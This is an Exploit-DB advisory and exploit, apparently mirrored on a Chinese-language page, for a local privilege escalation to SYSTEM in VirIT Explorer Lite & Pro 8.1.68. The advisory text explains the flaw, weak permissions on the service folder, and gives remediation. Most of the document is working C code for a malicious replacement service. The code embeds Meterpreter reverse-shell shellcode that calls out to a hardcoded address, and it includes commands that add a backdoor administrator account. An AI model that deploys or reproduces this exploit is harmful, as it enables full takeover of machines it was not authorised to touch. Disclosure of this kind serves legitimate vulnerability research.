VirIT Explorer Lite & Pro 8.1.68 – Local Privilege Escalation

  • 作者: Paolo Stagno
    日期: 2016-05-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39843/
  • /*
    Full title:			VirIT Explorer Lite & Pro v.8.1.68 Local Privilege Escalation (System)/Arbitrary Code Execution
    Exploit Author:		Paolo Stagno - voidsec@voidsec.com
    Vendor Homepage:	http://www.tgsoft.it
    Version:			VirIT Explorer Lite & Pro v.8.1.68
    Tested on:			Windows 7
    CVE:				TBD
    CVSS v2:	6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C/E:H/RL:U/RC:C) - https://nvd.nist.gov/cvss.cfm?calculator&version=2&vector=%28AV:L/AC:L/Au:S/C:C/I:C/A:C/E:H/RL:U/RC:C%29
    Category:			local exploits
    Platform:			windows
    Security Risk:		High
    Date add: 18/05/2016
    
    ===
    VirIT Explorer Lite & Pro v.8.1.68 Local Privilege Escalation (SYSTEM
    Privilege)/Arbitrary Code Execution
    
    - Author: Paolo Stagno
    
    Overview
    =========
    Vir.IT eXplorer [1] is an AntiVirus, AntiSpyware and AntiMalware
    software made in Italy and developed by TG Soft S.a.s.
    
    A major flaws exists in the last version of Vir.IT eXplorer, this
    vulnerability allow a local attacker,
    to execute arbitrary code in the context of the application with SYSTEM
    privilege.
    
    Details
    ==========
    The flaw resides in the viritsvclite Service due to bad privileges for
    the main Vir.IT folder, by default, any user (even guest) will be able to
    replace, modify or alter the file. This would allow an attacker to
    inject code or replace the executable and have it run in the context
    of the system.
    
    This would allow a complete compromise of the system on which the
    antivirus was installed; an attacker can replace the executable, reboot
    the system and it would then compromise the machine. As NT
    AUTHORITY\SYSTEM is the highest privilege level on a Windows machine,
    this allows a total control and access to the system.
    
    Services: viritsvclite
    Folder: %SYSTEMDRIVE%\VEXPLite
    Executable: %SYSTEMDRIVE%\VEXPLite\viritsvc.exe
    
    [2] icacls.exe VEXPLite
    C:\VEXPLite Everyone:(OI)(CI)(F) <=================== Vulnerable
    BUILTIN\Administrators:(I)(F)
    BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
    NT AUTHORITY\SYSTEM:(I)(F)
    NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
    BUILTIN\Users:(I)(OI)(CI)(RX)
    NT AUTHORITY\Authenticated Users:(I)(M)
    NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
    
    Successfully processed 1 files; Failed processing 0 files
    
    icacls.exe viritsvc.exe
    viritsvc.exe Everyone:(I)(F) <=================== Vulnerable
    BUILTIN\Administrators:(I)(F)
    NT AUTHORITY\SYSTEM:(I)(F)
    BUILTIN\Users:(I)(RX)
    NT AUTHORITY\Authenticated Users:(I)(M)
    
    Successfully processed 1 files; Failed processing 0 files
    
    With this flaws in mind I wrote the exploit which is able to obtain NT
    AUTHORITY\SYSTEM via a meterpreter shell.
    
    Exploit
    ==========
    https://gist.github.com/VoidSec/9971092829dd1fec146e1595843aae65
    https://www.youtube.com/watch?v=5a09efEvjTk (video proof)
    
    Remediation
    ==========
    Remove the permissions on the VEXPLite folder, all of its files and on
    the viritsvc.exe Service executables to allow only
    privileged users to alter the files, apply vendor patch once distributed.
    
    Footnotes
    ==========
    [1] http://www.tgsoft.it/english/prodotti_eng.asp
    [2] https://technet.microsoft.com/en-us/library/cc753525%28WS.10%29.aspx
    ---
    
    */
    #include <windows.h>
    #include <stdio.h>
    
    #define small_sleep 5000
    #define big_sleep 180000
    
    SERVICE_STATUS ServiceStatus;
    SERVICE_STATUS_HANDLE hStatus;
    
    void ServiceMain(int argc, char **argv);
    void ControlHandler(DWORD request);
    typedef short (CALLBACK * FuncType) (LPCTSTR);
    
    /*Meterpreter reverse payload (windows/meterpreter/reverse_tcp), replace with your own*/
    unsigned char r_shell[] = 
    "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
    "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
    "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
    "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
    "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
    "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
    "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
    "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
    "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
    "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
    "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
    "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x8a\x68\x02"
    "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
    "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
    "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
    "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
    "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
    "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
    "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
    "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
    "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
    "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
    "\x53\xff\xd5";
    
    int Spawn_Shell(){
    	//Spawn the reverse shell
    int (*func)();
    func = (int (*)()) r_shell;
    (int)(*func)();	
    }
    
    int Add_Admin(){
    	//ADD VoidSec:secret to Local Administrators
    	system("net user VoidSec secret /ADD");
    	system("net localgroup Administrators VoidSec /ADD"); return 0;
    }
    
    int main(){
    	SERVICE_TABLE_ENTRY ServiceTable[2];
    	ServiceTable[0].lpServiceName = "viritsvclite";
    	ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION) ServiceMain;
    	ServiceTable[1].lpServiceName = NULL;
    	ServiceTable[1].lpServiceProc = NULL;
    	StartServiceCtrlDispatcher(ServiceTable);
    
    	return 0;
    }
    
    void ServiceMain(int argc, char **argv) {
    	ServiceStatus.dwServiceType = SERVICE_WIN32;
    	ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
    	ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    	ServiceStatus.dwWin32ExitCode = 0;
    	ServiceStatus.dwServiceSpecificExitCode = 0;
    	ServiceStatus.dwCheckPoint = 0;
    	ServiceStatus.dwWaitHint = 0;
    	hStatus = RegisterServiceCtrlHandler("viritsvclite", (LPHANDLER_FUNCTION) ControlHandler);
    	ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    	SetServiceStatus(hStatus, &ServiceStatus);
    	
    	//Big sleep (3m), let Windows start Network, DHCP etc.
    	Sleep(big_sleep);
    	
    	Spawn_Shell();
    	//Add_Admin();
    	
    	//Let our service run instead of kill it (only works with Add_Admin, Spawn_Shell will kill it on exit)
    	/*while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {
    		Sleep(small_sleep);
    	}*/
    		
    	return;
    }
    
    void ControlHandler(DWORD request) {
    	switch (request) {
    		case SERVICE_CONTROL_STOP:
    			ServiceStatus.dwWin32ExitCode = 0;
    			ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    			SetServiceStatus(hStatus, &ServiceStatus);
    		return;
    		case SERVICE_CONTROL_SHUTDOWN:
    			ServiceStatus.dwWin32ExitCode = 0;
    			ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    			SetServiceStatus(hStatus, &ServiceStatus);
    		return;
    		default:
    		break;
    		}
    	SetServiceStatus(hStatus, &ServiceStatus);
    		
    	return;
    }